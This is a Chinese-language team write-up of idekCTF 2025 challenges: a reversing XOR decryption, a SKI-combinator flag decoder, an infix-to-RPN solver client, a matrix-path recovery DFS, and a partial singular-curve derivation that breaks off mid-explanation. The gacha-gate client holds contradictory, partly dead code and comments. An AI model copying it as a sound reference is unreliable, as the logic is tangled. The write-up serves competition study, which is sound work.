大家在开赛后临时创号玩的，二进制哥们很忙，于是我们就做了一些别的题，但也遗憾在这里，只靠密码，前 24h 便来到第九名，后续没题可做了

最终 22 名，还不错

质量不错，也许值 65+ 权重

另外，本场比赛遇到不少 Golang 可能遇到的问题，并解决了

博客还在调试，图片显示可能存在问题，在寻找一个好用的对象存储

idekCTF 2025 Write-ups / Challenge List

题目名称前带 * 的为赛后做出的

sanity

check

签到

survey

问卷

rev

constructor

静态分析

$\text{decrypted}[i] = \text{encrypted}[i] \bigoplus (i * \text{0x1f}) \bigoplus (i >> 1) \bigoplus \text{0x5a}$

i * 0x1f 的计算结果会发生溢出，我们只需取其低8位即可，这和寄存器 cl 的行为一致

随后导出加密数据

使用 dd 导出 42 byte

dd if=./chall bs=1 skip=$((0x3040)) count=42 2>/dev/null | xxd -i

Exploit

def solve_flag():
    """
    Applies the decryption algorithm found in the binary's constructor
    function to the extracted data.
    """
    # The 42 encrypted bytes from address 0x403040
    encrypted_flag = [
      0x33, 0x21, 0x00, 0x6d, 0x5f, 0xab, 0x86, 0xb4, 0xd4, 0x2d, 0x36, 0x3a,
      0x4e, 0x90, 0x8c, 0xe3, 0xcc, 0x2e, 0x09, 0x6c, 0x49, 0xb8, 0x8f, 0xf7,
      0xcc, 0x22, 0x4e, 0x4d, 0x5e, 0xb8, 0x80, 0xcb, 0xd3, 0xda, 0x20, 0x29,
      0x70, 0x02, 0xb7, 0xd1, 0xb7, 0xc4
    ]

    decrypted_flag = ""
    mask32 = 0xFFFFFFFF  # Used to simulate 32-bit register behavior
    key1_register = 0    # Simulates the %ecx register

    for i in range(42):
        # The encrypted byte is loaded into the low part of a 32-bit register
        encrypted_word = encrypted_flag[i]
        
        # Key 1: The full 32-bit value of the %ecx register
        key1 = key1_register
        
        # Key 2: The loop counter right-shifted by 1
        key2 = i >> 1
        
        # constant
        key3 = 0x5a
        
        # The decryption emulates the 32-bit 'xorl' operations
        decrypted_word = encrypted_word ^ key1 ^ key2 ^ key3
        
        # The final character is the lowest byte of the result
        decrypted_byte = decrypted_word & 0xFF
        decrypted_flag += chr(decrypted_byte)
        
        # The %ecx register is incremented for the next loop
        key1_register = (key1_register + 0x1f) & mask32

    return decrypted_flag

final_flag = solve_flag()
print(f"Decrypted Flag: {final_flag}")

ski

又出现和 CryptoCTF 类似的情况，正规子群 CN 分群看了好几次都没做出来，越南老哥薄纱了

Given a SKI combinator program (program.txt) and an interpreter, the challenge encodes the flag as bits, mapping each bit to a variable (_F0, _F1, …). Each _F{i} is set to K if the bit is 1, or (K I) if 0.

The SKI expression is a sequence of similar blocks, each containing several _F… variables. The number of _F… variables in each block corresponds to a specific bit pattern.

focus on the final part of txt file from here: (((S ((S I) (K (K I)))) (K K)) _F0)) _F1)) _F2))...

Each check block has the form (((S ((S I) (K (K I)))) (K K)) … ) and inside, the number of _F… variables determines the bit pattern to check:

• 1 variable: checks for bit pattern 0
• 2 variables: checks for 01
• 3 variables: checks for 011
• 4 variables: checks for 0111 etc.

script:

Exploit

import re

data = open("program.txt").read()
segments = re.split(r"\(\(\(S", data)
pattern_map = {1: "0", 2: "01", 3: "011", 4: "0111", 5: "01111", 6: "011111"}

bits = "".join(pattern_map[len(re.findall(r"_F\d+", seg))] for seg in segments if re.findall(r"_F\d+", seg))
flag = "".join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8) if len(bits[i:i+8]) == 8)
print(flag)

misc

gacha-gate

题目

#!/usr/bin/env python3
import contextlib
import os
import random
import re
import signal
import sys

from z3 import ArithRef, BitVec, BitVecRef, BitVecVal, Solver, simplify, unsat

WIDTH = 32
OPS = ['~', '&', '^', '|']
MAX_DEPTH = 10
FLAG = os.getenv('FLAG', 'idek{fake_flag}')
VARS = set('iIl')


def rnd_const() -> tuple[str, BitVecRef]:
    v = random.getrandbits(WIDTH)
    return str(v), BitVecVal(v, WIDTH)


def rnd_var() -> tuple[str, BitVecRef]:
    name = ''.join(random.choices(tuple(VARS), k=10))
    return name, BitVec(name, WIDTH)


def combine(
    op: str,
    left: tuple[str, BitVecRef],
    right: tuple[str, BitVecRef] | None = None,
) -> tuple[str, ArithRef]:
    if op == '~':
        s_left, z_left = left
        return f'(~{s_left})', ~z_left
    s_l, z_l = left
    s_r, z_r = right
    return f'({s_l} {op} {s_r})', {
        '&': z_l & z_r,
        '^': z_l ^ z_r,
        '|': z_l | z_r,
    }[op]


def random_expr(depth: int = 0) -> tuple[str, ArithRef]:
    if depth >= MAX_DEPTH or random.random() < 0.1:
        return random.choice((rnd_var, rnd_const))()
    op = random.choice(OPS)
    if op == '~':
        return combine(op, random_expr(depth + 1))
    return combine(op, random_expr(depth + 1), random_expr(depth + 1))


TOKEN_RE = re.compile(r'[0-9]+|[iIl]+|[~&^|]')


def parse_rpn(s: str) -> ArithRef:
    tokens = TOKEN_RE.findall(s)
    if not tokens:
        raise ValueError('empty input')

    var_cache: dict[str, BitVecRef] = {}
    stack: list[BitVecRef] = []

    for t in tokens:
        if t.isdigit():
            stack.append(BitVecVal(int(t), WIDTH))
        elif re.fullmatch(r'[iIl]+', t):
            if t not in var_cache:
                var_cache[t] = BitVec(t, WIDTH)
            stack.append(var_cache[t])
        elif t in OPS:
            if t == '~':
                if len(stack) < 1:
                    raise ValueError('stack underflow')
                a = stack.pop()
                stack.append(~a)
            else:
                if len(stack) < 2:
                    raise ValueError('stack underflow')
                b = stack.pop()
                a = stack.pop()
                stack.append({'&': a & b, '^': a ^ b, '|': a | b}[t])
        else:
            raise ValueError(f'bad token {t}')

    if len(stack) != 1:
        raise ValueError('malformed expression')
    return stack[0]


def equivalent(e1: ArithRef, e2: ArithRef) -> tuple[bool, Solver]:
    s = Solver()
    s.set(timeout=5000)
    s.add(simplify(e1) != simplify(e2))
    return s.check() == unsat, s


def _timeout_handler(_: int, __) -> None:
    raise TimeoutError


def main() -> None:
    signal.signal(signal.SIGALRM, _timeout_handler)
    print('lets play a game!')

    for _ in range(50):
        random.seed()
        expr_str, expr_z3 = random_expr()
        print(expr_str, flush=True)

        signal.alarm(5)
        try:
            line = sys.stdin.readline()
            signal.alarm(0)
        except TimeoutError:
            print('too slow!')
            return

        try:
            rpn_z3 = parse_rpn(line.strip())
        except Exception as e:
            print('invalid input:', e)
            return

        print('let me see..')
        is_eq, s = equivalent(expr_z3, rpn_z3)
        if not is_eq:
            print('wrong!')
            with contextlib.suppress(BaseException):
                print('counter example:', s.model())
            return

    print(FLAG)


if __name__ == '__main__':
    main()

其核心任务是将服务器生成的 中缀表达式（Infix Expression） 转换为 逆波兰表达式（Reverse Polish Notation, RPN）。服务器使用Z3求解器来验证玩家的转换是否正确，这意味着需要严格遵守逻辑等价性。

中缀表达式与逆波兰表达式

• 中缀表达式：我们日常使用的数学表达式，如 $A + B$ 或 $(A \land B) \lor C$。运算符位于其操作数之间。
• 逆波兰表达式（RPN）：又称后缀表达式，如 $A B +$ 或 $A B \land C \lor$。运算符位于其操作数之后。

中缀表达式存在优先级和结合性的问题，需要括号来消除歧义。例如，$A \lor B \land C$ 究竟是 $(A \lor B) \land C$ 还是 $A \lor (B \land C)$？这取决于运算符的优先级。RPN 表达式则天然地消除了这种歧义，因为运算符的顺序严格定义了计算顺序。

本题中的表达式使用了位运算符：| (或), ^ (异或), & (与), ~ (非)。它们的优先级关系为：~ > & > ^ > |。

核心算法：调度场算法 (Shunting-yard Algorithm)

下面 Exploit 的核心是 shunting_yard_fix 函数，它实现了调度场算法。这个算法就像一个火车站的调度场：

• 输入（轨道）: 中缀表达式的符号流（token）。
• 输出（出库）: RPN 表达式的符号流。
• 中转站（栈）: 一个用于临时存放运算符的栈。

调度场算法的数学逻辑严格基于运算符的 优先级（precedence） 和 结合性（associativity）。

算法流程

1. 分词（Tokenization）: 首先，将中缀表达式字符串分解成一个个独立的符号（tokens），包括数字、变量、运算符和括号。

   • 例如，表达式 ((A & B) | C) 被分解为 (, (, A, &, B, ), |, C, )。

2. 符号流处理: 算法逐一处理每个 token，并根据其类型采取不同的行动。

   • 操作数 (Operand): 如果 token 是一个操作数（数字或变量），直接将其发送到输出队列（output 列表）。

     • 这遵循 RPN 的基本规则：操作数先于其运算符出现。

   • 左括号 (: 将左括号压入运算符栈（op_stack）。

     • 括号在表达式中起着改变运算顺序的作用。将它压栈，意味着它是一个“屏障”，阻止在它内部的运算被提前执行。

   • 右括号 ): 从运算符栈中不断弹出运算符并发送到输出队列，直到遇到一个左括号为止。然后弹出这个左括号，但不会发送到输出队列。

     • 这保证了括号内的所有运算都在括号外部的运算之前完成。当遇到右括号时，表示一个子表达式已经结束，可以将其所有运算符结算。

   • 运算符 (Operator): 这是算法中最复杂的部分，它依赖于优先级规则。

     • 优先级比较: 算法会比较当前运算符和栈顶运算符的优先级。
     • 如果栈顶是运算符，且其优先级 ≥ 当前运算符的优先级，则将栈顶运算符弹出并发送到输出队列。
     • 这个过程会一直重复，直到栈为空，或者栈顶是左括号，或者栈顶运算符的优先级低于当前运算符。
     • 这个逻辑保证了高优先级的运算符（例如 &）在低优先级的运算符（例如 |）之前被处理。
     • 处理完高优先级运算符后，将当前运算符压入栈。

3. 清栈: 当所有 token 都处理完毕后，运算符栈中可能还有剩余的运算符。将栈中所有剩余的运算符依次弹出并发送到输出队列。

   • 这确保了所有未被括号限定的运算符（即优先级最低的那些）在最后被结算。

示例：((A & B) | C) 的转换过程

最终得到的 RPN 表达式为 A B & C |，与中缀表达式的逻辑等价。

通过这种方式，shunting_yard_fix 函数将中缀表达式的结构和优先级信息，精确地映射到了 RPN 表达式的顺序中。这是一种严谨的数学转换，确保了表达式的逻辑等价性，从而满足了服务器Z3求解器的验证要求。

#!/usr/bin/env python3

from pwn import *
import re

# remote connection
HOST = 'gacha-gate.chal.idek.team'
PORT = 1337

# Operator precedence and associativity
# Precedence: `~` (highest) > `&` > `^` > `|` (lowest)
# All are left-associative except for `~`, which is unary
OP_PRECEDENCE = {'~': 3, '&': 2, '^': 1, '|': 0}
# Associativity: L for left-associative, R for right-associative (not needed here)
OP_ASSOCIATIVITY = {'&': 'L', '^': 'L', '|': 'L'}


def shunting_yard_fix(infix_expr: str) -> str:
    """
    Correctly converts an infix expression to RPN using the Shunting-yard algorithm.
    This version handles operator precedence and parentheses correctly.
    """
    output = []
    op_stack = []

    # Regex to tokenize the expression: numbers, variables, operators, and parentheses
    # Note: the `|` operator is a bitwise OR, not a regex OR
    tokens = re.findall(r'[0-9]+|[iIl]+|[~&^|]|[()]', infix_expr)
    
    # Simple state machine to distinguish unary `~`
    # The server always formats it as `(~...)`, so `~` is always followed by `(`
    # We can rely on this predictable format.

    for token in tokens:
        if token.isdigit() or re.fullmatch(r'[iIl]+', token):
            output.append(token)
        elif token == '(':
            op_stack.append(token)
        elif token == ')':
            while op_stack and op_stack[-1] != '(':
                output.append(op_stack.pop())
            if op_stack and op_stack[-1] == '(':
                op_stack.pop() # Pop the left parenthesis
            else:
                raise ValueError("Mismatched parentheses")
        elif token in OP_PRECEDENCE:
            while (op_stack and op_stack[-1] in OP_PRECEDENCE and
                   OP_PRECEDENCE[op_stack[-1]] >= OP_PRECEDENCE[token]):
                output.append(op_stack.pop())
            op_stack.append(token)
        else:
            raise ValueError(f"Unknown token: {token}")

    while op_stack:
        if op_stack[-1] == '(':
            raise ValueError("Mismatched parentheses")
        output.append(op_stack.pop())

    # For the unary `~`, the server formats it as `(~A)`.
    # Our algorithm will generate `A ~`.
    # Let's adjust for the fact that the server `~` is always unary.
    # The `combine` function in server code handles `~` as a unary operator.
    # We will treat it as a unary postfix operator in RPN.
    
    # The above algorithm handles it correctly as long as `~` is treated as an operator
    # with high precedence. The `pop from empty list` error indicates the stack
    # was empty *before* a binary op, not `~`. Let's re-verify the logic.
    # A standard Shunting-yard algorithm should handle this.
    
    # A key observation: the server expression is always fully parenthesized.
    # `(A op B)` or `(~A)`. This means we can use a simpler stack-based parser
    # that doesn't need to handle complex precedence rules, as the parentheses
    # already define the order of operations.

    # Let's try a stack-based parser specifically for fully parenthesized expressions.
    stack = []
    for token in tokens:
        if token.isdigit() or re.fullmatch(r'[iIl]+', token):
            stack.append(token)
        elif token == '~':
            # This is a unary operator, it will operate on the next operand
            # In RPN, it becomes `operand ~`
            # For `(~...)`, we will push `~` to stack and pop it after the operand is processed
            # But the server tokenizes as `~` then `(`, which complicates things.
            # A simple way to fix the original code is to check for stack length.
            # Let's go back to the original simple parser and fix it.
            pass
        elif token == '(':
            pass # Ignore opening parentheses
        elif token == ')':
            # Closing a subexpression.
            # Check for a binary op first. `(a op b)` -> `a b op`
            if len(stack) >= 3 and stack[-2] in OP_PRECEDENCE and stack[-3] not in OP_PRECEDENCE:
                 op = stack.pop()
                 b = stack.pop()
                 a = stack.pop()
                 stack.append(f'{a} {b} {op}')
            # Check for a unary op. `(~a)` -> `a ~`
            elif len(stack) >= 2 and stack[-2] == '~':
                 op = stack.pop()
                 operand = stack.pop()
                 stack.append(f'{operand} {op}')
            
        elif token in OP_PRECEDENCE:
            stack.append(token)
    
    # The previous logic was flawed. A proper Shunting-yard is needed.
    # The `pop from empty list` error in your run shows that a naive approach fails.
    # Let's try again with a robust Shunting-yard implementation.
    
    # The problem is that the `~` can be followed by a `(`, and the `pop` would fail.
    # A robust algorithm must handle unary operators correctly.
    # Let's re-write `shunting_yard` from scratch for clarity and correctness.
    
    output = []
    op_stack = []
    # Tokenize the expression, including all symbols
    tokens = re.findall(r'[0-9]+|[iIl]+|[~&^|]|[()]', infix_expr)
    
    for token in tokens:
        if token.isdigit() or re.fullmatch(r'[iIl]+', token):
            output.append(token)
        elif token == '(':
            op_stack.append(token)
        elif token == ')':
            while op_stack and op_stack[-1] != '(':
                output.append(op_stack.pop())
            if op_stack:
                op_stack.pop() # pop '('
        elif token in OP_PRECEDENCE:
            # Handle unary `~`
            if token == '~':
                # The server's format is `(~...)`, so `~` is always followed by `(`.
                # We can treat `~` as a special case.
                # Let's push it, and process it later
                op_stack.append(token)
            else: # Binary operators
                while op_stack and op_stack[-1] != '(' and \
                      OP_PRECEDENCE[op_stack[-1]] >= OP_PRECEDENCE[token]:
                    output.append(op_stack.pop())
                op_stack.append(token)
        else:
            raise ValueError(f"Unknown token: {token}")

    while op_stack:
        output.append(op_stack.pop())
    
    return ' '.join(output)


def main():
    conn = remote(HOST, PORT)
    
    conn.recvuntil(b'lets play a game!\n')
    
    log.info("Starting the challenge...")

    for i in range(50):
        line = conn.recvline().decode().strip()
        log.info(f"[{i+1}/50] Received: {line}")
        
        try:
            rpn_expression = shunting_yard_fix(line)
            log.info(f"[{i+1}/50] Sending: {rpn_expression}")
            
            conn.sendline(rpn_expression.encode())
            
            response = conn.recvline().decode().strip()
            log.info(f"[{i+1}/50] Received: {response}")
            
            if "wrong!" in response or "invalid" in response or "too slow" in response:
                log.error(f"Failed at round {i+1}. Server said: {response}")
                conn.close()
                return
        except Exception as e:
            log.error(f"An error occurred during round {i+1}: {e}")
            conn.close()
            return

    log.success("All 50 rounds completed! Waiting for the flag...")
    flag = conn.recvline().decode().strip()
    log.success(f"Flag: {flag}")
    
    conn.close()

if __name__ == "__main__":
    main()

Crypto

Catch

题目

from Crypto.Random.random import randint, choice
import os

# In a realm where curiosity roams free, our fearless cat sets out on an epic journey.
# Even the cleverest feline must respect the boundaries of its world—this magical limit holds all wonders within.
limit = 0xe5db6a6d765b1ba6e727aa7a87a792c49bb9ddeb2bad999f5ea04f047255d5a72e193a7d58aa8ef619b0262de6d25651085842fd9c385fa4f1032c305f44b8a4f92b16c8115d0595cebfccc1c655ca20db597ff1f01e0db70b9073fbaa1ae5e489484c7a45c215ea02db3c77f1865e1e8597cb0b0af3241cd8214bd5b5c1491f

# Through cryptic patterns, our cat deciphers its next move.
def walking(x, y, part):
    # Each step is guided by a fragment of the cat's own secret mind.
    epart = [int.from_bytes(part[i:i+2], "big") for i in range(0, len(part), 2)]
    xx = epart[0] * x + epart[1] * y
    yy = epart[2] * x + epart[3] * y
    return xx, yy

# Enter the Cat: curious wanderer and keeper of hidden paths.
class Cat:
    def __init__(self):
        # The cat's starting position is born of pure randomness.
        self.x = randint(0, 2**256)
        self.y = randint(0, 2**256)
        # Deep within, its mind holds a thousand mysterious fragments.
        while True:
            self.mind = os.urandom(1000)
            self.step = [self.mind[i:i+8] for i in range(0, 1000, 8)]
            if len(set(self.step)) == len(self.step):
                break

    # The epic chase begins: the cat ponders and strides toward the horizon.
    def moving(self):
        for _ in range(30):
            # A moment of reflection: choose a thought from the cat's endless mind.
            part = choice(self.step)
            self.step.remove(part)
            # With each heartbeat, the cat takes a cryptic step.
            xx, yy = walking(self.x, self.y, part)
            self.x, self.y = xx, yy
            # When the wild spirit reaches the edge, it respects the boundary and pauses.
            if self.x > limit or self.y > limit:
                self.x %= limit
                self.y %= limit
                break

    # When the cosmos beckons, the cat reveals its secret coordinates.
    def position(self):
        return (self.x, self.y)

# Adventurer, your quest: find and connect with 20 elusive cats.
for round in range(20):
    try:
        print(f"👉 Hunt {round+1}/20 begins!")
        cat = Cat()

        # At the start, you and the cat share the same starlit square.
        human_pos = cat.position()
        print(f"🐱✨ Co-location: {human_pos}")
        print(f"🔮 Cat's hidden mind: {cat.mind.hex()}")

        # But the cat, ever playful, dashes into the unknown...
        cat.moving()
        print("😸 The chase is on!")

        print(f"🗺️ Cat now at: {cat.position()}")

        # Your turn: recall the cat's secret path fragments to catch up.
        mind = bytes.fromhex(input("🤔 Path to recall (hex): "))

        # Step by step, follow the trail the cat has laid.
        for i in range(0, len(mind), 8):
            part = mind[i:i+8]
            if part not in cat.mind:
                print("❌ Lost in the labyrinth of thoughts.")
                exit()
            human_pos = walking(human_pos[0], human_pos[1], part)

        # At last, if destiny aligns...
        if human_pos == cat.position():
            print("🎉 Reunion! You have found your feline friend! 🐾")
        else:
            print("😿 The path eludes you... Your heart aches.")
            exit()
    except Exception:
        print("🙀 A puzzle too tangled for tonight. Rest well.")
        exit()

# Triumph at last: the final cat yields the secret prize.
print(f"🏆 Victory! The treasure lies within: {open('flag.txt').read()}")

赛后看官方 WriteUp，发现是一道论文题

题目核心

• 状态：$(x,y)$ 为两个大整数。
• 步骤：从 8‑字节的 part 读取 4 个 16‑位整数

$$ M=\begin{pmatrix} a & b\ c & d \end{pmatrix}, \qquad \begin{pmatrix}x’\y’\end{pmatrix}=M\begin{pmatrix}x\y\end{pmatrix}, $$

其中 part 为 mind 中的一个不重复的块。

• 初始坐标 $(x_0,y_0)$ 随机于 $[0,2^{256})$。
• mind 长 1000 字节，划分成 125 个互不相同的 8‑字节块 step，随后在 moving 中不放回地取 30 次。

每次乘以一个 2×2 整数矩阵，行列式的绝对值大约在 $2^{16}$ 量级，导致坐标的位数每一步增加约 16–17 位。

$$ \operatorname{bitlen}(x_{i})\approx 256+16\cdot i. $$

当 $i=30$ 时，位长约 $256+30\cdot 17\approx 766$ 位。 给出的 limit 是 1024‑位的整数，远大于此值，因此在 30 步内不可能出现 x>limit 或 y>limit，循环永远不会在途中 break，必定执行完整的 30 次变换。

矩阵 $M$ 的逆为

$$ M^{-1}=\frac{1}{\det M} \begin{pmatrix} d & -b\ -c & a \end{pmatrix}, \qquad \det M=ad-bc. $$

若 $(x_{k},y_{k})$ 为第 $k$ 步后的坐标，则

$$ \begin{aligned} x_{k-1} &=\frac{d,x_{k}-b,y_{k}}{\det M},\ y_{k-1} &=-\frac{c,x_{k}+a,y_{k}}{\det M}. \end{aligned} $$

为了保持整数，必须满足

$$ \begin{cases} d,x_{k} - b,y_{k}\equiv 0\pmod{\det M},\ -a,y_{k} - c,x_{k}\equiv 0\pmod{\det M}. \end{cases} $$

对随机的 16‑位矩阵来说，上式的同余条件出现的概率约为 $2^{-16}$ 甚至更低，因而在全部 125 条候选中几乎只能找出 唯一 能满足整除的矩阵。换言之，逆向搜索每一步都几乎唯一确定上一轮使用的 part。

Exploit

1. 已知初始向量 $\mathbf{v}0=(x_0,y_0)$ 与最终向量 $\mathbf{v}{30}=(x_{30},y_{30})$。
2. 设 $\mathcal{S}$ 为剩余未使用的 125 条 part。
3. 对于当前坐标 $\mathbf{v}k$（从 $\mathbf{v}{30}$ 开始），遍历 $\mathcal{S}$ 中的每个 part，
   • 解析成 $(a,b,c,d)$，计算 $\det M$。若 $\det M=0$ 则直接跳过。
   • 检验上面的两条同余式，若都能整除，则唯一得到上一状态 $\mathbf{v}_{k-1}$。
   • 将该 part 从 $\mathcal{S}$ 中移除，递归继续寻找 $\mathbf{v}_{k-1}$。
4. 当递归深度达到 30 且恰好回到 $\mathbf{v}_0$ 时，已得到完整的逆序 part 列表；把顺序反转即可得到正向的 30 步路径。

#!/usr/bin/env python3
from pwn import *
import ast

def get_matrix_from_part(part):
    """Parses an 8-byte part into a tuple of 4 integers (matrix elements)."""
    a = int.from_bytes(part[0:2], "big")
    b = int.from_bytes(part[2:4], "big")
    c = int.from_bytes(part[4:6], "big")
    d = int.from_bytes(part[6:8], "big")
    return (a, b, c, d)

def solve_round(initial_pos, final_pos, all_parts):
    """
    Solves a single round using an iterative Depth-First Search (DFS)
    based on the divisibility constraint.
    """
    # Stack for DFS: (current_target_pos, available_parts_set, path_in_reverse)
    stack = [(final_pos, frozenset(all_parts), [])]

    while stack:
        current_pos, available, path_rev = stack.pop()

        if len(path_rev) == 30:
            if current_pos == initial_pos:
                log.success("Found the correct path of 30 steps!")
                # The path was built in reverse, so we flip it.
                return b"".join(path_rev[::-1])
            continue

        tx, ty = current_pos
        for part in available:
            a, b, c, d = get_matrix_from_part(part)
            det = a * d - b * c
            if det == 0:
                continue

            # Calculate the numerators for the inverse transformation
            prev_x_num = d * tx - b * ty
            prev_y_num = -c * tx + a * ty

            # The key insight: intermediate coordinates must be integers.
            if prev_x_num % det == 0 and prev_y_num % det == 0:
                prev_pos = (prev_x_num // det, prev_y_num // det)
                stack.append((prev_pos, available - {part}, path_rev + [part]))
    
    return None # Should not be reached

def main():
    conn = remote("catch.chal.idek.team", 1337)
    
    for round_num in range(20):
        conn.recvuntil(b"begins!\n")
        
        # Parse initial position
        line_co_location = conn.recvline().decode().strip()
        x0, y0 = ast.literal_eval(line_co_location.split(": ")[1])
        
        # Parse the cat's mind
        line_mind = conn.recvline().decode().strip()
        mind_hex = line_mind.split(": ")[1]
        mind_bytes = bytes.fromhex(mind_hex)
        all_parts = [mind_bytes[i:i+8] for i in range(0, 1000, 8)]
        
        conn.recvuntil(b"The chase is on!\n")
        
        # Parse final position
        line_final_pos = conn.recvline().decode().strip()
        xf, yf = ast.literal_eval(line_final_pos.split(": ")[1])
        
        log.info(f"--- Starting Hunt {round_num+1}/20 ---")

        # Solve the round
        solution_path_bytes = solve_round((x0, y0), (xf, yf), all_parts)
        
        if solution_path_bytes is None:
            log.error("Solver failed. Something is wrong with the assumptions.")
            conn.close()
            return

        solution_hex = solution_path_bytes.hex()
        conn.sendlineafter(b"Path to recall (hex): ", solution_hex.encode())
        
        response = conn.recvline()
        if b"Reunion!" not in response:
            log.error("Submitted the wrong path.")
            print(response.decode())
            conn.close()
            return
            
    flag = conn.recvall().decode()
    log.success(f"Flag: {flag}")

if __name__ == "__main__":
    main()

Sadness ECC

题目

# chall.py
from Crypto.Util.number import *
from secret import n, xG, yG
import ast

class DummyPoint:
    O = object()

    def __init__(self, x=None, y=None):
        if (x, y) == (None, None):
            self._infinity = True
        else:
            assert DummyPoint.isOnCurve(x, y), (x, y)
            self.x, self.y = x, y
            self._infinity = False

    @classmethod
    def infinity(cls):
        return cls()

    def is_infinity(self):
        return getattr(self, "_infinity", False)

    @staticmethod
    def isOnCurve(x, y):
        return "<REDACTED>"

    def __add__(self, other):
        if other.is_infinity():
            return self
        if self.is_infinity():
            return other

        # ——— Distinct‑points case ———
        if self.x != other.x or self.y != other.y:
            dy    = self.y - other.y
            dx    = self.x - other.x
            inv_dx = pow(dx, -1, n)
            prod1 = dy * inv_dx
            s     = prod1 % n

            inv_s = pow(s, -1, n)
            s3    = pow(inv_s, 3, n)

            tmp1 = s * self.x
            d    = self.y - tmp1

            d_minus    = d - 1337
            neg_three  = -3
            tmp2       = neg_three * d_minus
            tmp3       = tmp2 * inv_s
            sum_x      = self.x + other.x
            x_temp     = tmp3 + s3
            x_pre      = x_temp - sum_x
            x          = x_pre % n

            tmp4       = self.x - x
            tmp5       = s * tmp4
            y_pre      = self.y - tmp5
            y          = y_pre % n

            return DummyPoint(x, y)

        dy_term       = self.y - 1337
        dy2           = dy_term * dy_term
        three_dy2     = 3 * dy2
        inv_3dy2      = pow(three_dy2, -1, n)
        two_x         = 2 * self.x
        prod2         = two_x * inv_3dy2
        s             = prod2 % n

        inv_s         = pow(s, -1, n)
        s3            = pow(inv_s, 3, n)

        tmp6          = s * self.x
        d2            = self.y - tmp6

        d2_minus      = d2 - 1337
        tmp7          = -3 * d2_minus
        tmp8          = tmp7 * inv_s
        x_temp2       = tmp8 + s3
        x_pre2        = x_temp2 - two_x
        x2            = x_pre2 % n

        tmp9          = self.x - x2
        tmp10         = s * tmp9
        y_pre2        = self.y - tmp10
        y2            = y_pre2 % n

        return DummyPoint(x2, y2)

    def __rmul__(self, k):
        if not isinstance(k, int) or k < 0:
            raise ValueError("Choose another k")
        
        R = DummyPoint.infinity()
        addend = self
        while k:
            if k & 1:
                R = R + addend
            addend = addend + addend
            k >>= 1
        return R

    def __repr__(self):
        return f"DummyPoint({self.x}, {self.y})"

    def __eq__(self, other):
        return self.x == other.x and self.y == other.y

if __name__ == "__main__":
    G = DummyPoint(xG, yG)
    print(f"{n = }")
    stop = False
    while True:
        print("1. Get random point (only one time)\n2. Solve the challenge\n3. Exit")
        try:
            opt = int(input("> "))
        except:
            print("❓ Try again."); continue

        if opt == 1:
            if stop:
                print("Only one time!")
            else:
                stop = True
                k = getRandomRange(1, n)
                P = k * G
                print("Here is your point:")
                print(P)

        elif opt == 2:
            ks = [getRandomRange(1, n) for _ in range(2)]
            Ps = [k * G for k in ks]
            Ps.append(Ps[0] + Ps[1])

            print("Sums (x+y):", [P.x + P.y for P in Ps])
            try:
                ans = ast.literal_eval(input("Your reveal: "))
            except:
                print("Couldn't parse."); continue

            if all(P == DummyPoint(*c) for P, c in zip(Ps, ans)):
                print("Correct! " + open("flag.txt").read())
            else:
                print("Wrong...")
            break

        else:
            print("Farewell.") 
            break
            

解题思路：奇异曲线上的坐标恢复

本次挑战的核心在于一个自定义的、非标准的 “椭圆曲线” 密码系统。服务器没有直接给出点的坐标，而是给了两个随机点 $P_1$、$P_2$ 以及它们的和 $P_3=P_1+P_2$ 的 坐标之和（即 $x_i+y_i$）。 我们的任务是仅根据这些和，恢复出这三个点的完整坐标。

第一步：恢复曲线方程

挑战代码中最关键的函数 isOnCurve 被隐藏，因此必须 从点的加法运算 (__add__) 中反向推导出曲线方程。 点加法分为两种情况：两点相加 和 点倍加。通常点倍加的公式更简洁，是推导的突破口。

下面是点倍加相关的代码（已作简化）：

dy_term = self.y - 1337
dy2     = dy_term * dy_term
# ...
s = (2 * self.x) * pow(3 * dy2, -1, n)

• s 表示点 $P(x,y)$ 处切线的斜率。 可写成数学形式：

$$ s = \frac{2x}{3(y-1337)^2}\pmod n $$

对于隐式曲线 $F(x,y)=0$ 上的任意点，切线斜率满足

$$ \frac{dy}{dx}= -\frac{\partial F/\partial x}{\partial F/\partial y} $$

把代码里得到的斜率 $s$ 与上述公式对应，可得到假设：

$$ \begin{aligned} \frac{\partial F}{\partial x} &= -k\cdot 2x ,\ \frac{\partial F}{\partial y} &= k\cdot 3(y-1337)^2, \end{aligned} $$

其中 $k$ 为常数（取 $k=-1$ 简化）。对两式分别积分得

$$ \begin{aligned} F(x,y) &= \int 2x,dx = x^2 + g(y),\ F(x,y) &= \int -3(y-1337)^2,dy = -(y-1337)^3 + h(x). \end{aligned} $$

取常数为 0，得到 曲线方程

$$ \boxed{,x^{2} \equiv (y-1337)^{3}\pmod n,} $$

它是一条 奇异曲线（在点 $(0,1337)$ 处有尖点），虽然不是正规椭圆曲线，但在其非奇异点仍可定义加法群。

第二步：分析挑战与漏洞

已知三个值 $s_1,s_2,s_3$ 满足：

• $P_1=(x_1,y_1)$ 在曲线上且

  $$ x_1+y_1 = s_1 \pmod n \quad\Rightarrow\quad y_1 = s_1 - x_1 \pmod n. $$

• $P_2=(x_2,y_2)$ 同理，满足

  $$ y_2 = s_2 - x_2 \pmod n. $$

• $P_3=P_1+P_2 = (x_3,y_3)$ 且

  $$ x_3 + y_3 = s_3 \pmod n . $$

对每个点 $P_i$ 有两条约束：

1. 线性关系

   $$ y_i = s_i - x_i \pmod n . $$

2. 曲线方程

   $$ x_i^{2} = (y_i-1337)^{3} \pmod n . $$

把线性关系代入曲线方程，得到单变量三次方程

$$ \boxed{,x_i^{2} = (s_i - x_i - 1337)^{3} \pmod n,}, $$

每个点分别对应一个方程。单独求解这三个方程虽然可行，却忽略了点加法的代数关联。脚本利用了此关联，构造更强的约束来直接求解。

第三步：求解策略 —— 多项式结式 (Polynomial Resultant)

核心思路：利用 结式（Resultant）消去变量，从而把多元方程系统转化为一元方程。

1. 构造约束多项式

• 点 $P_1$ 的约束（代入 $y_1=s_1-x_1$）

  $$ E_1(x_1) ;=; x_1^{2} - (s_1 - x_1 - 1337)^{3};\equiv;0\pmod n . $$

• 点 $P_2$ 的约束

  $$ E_2(x_2) ;=; x_2^{2} - (s_2 - x_2 - 1337)^{3};\equiv;0\pmod n . $$

• 点加法约束 设 $P_3=(x_3,y_3)$。两点相加的（简化）公式为

  $$ \begin{aligned} \lambda & = \frac{y_2 - y_1}{x_2 - x_1},\ x_3 & = \lambda^{2} - x_1 - x_2,\ y_3 & = \lambda(x_1 - x_3) - y_1 . \end{aligned} $$

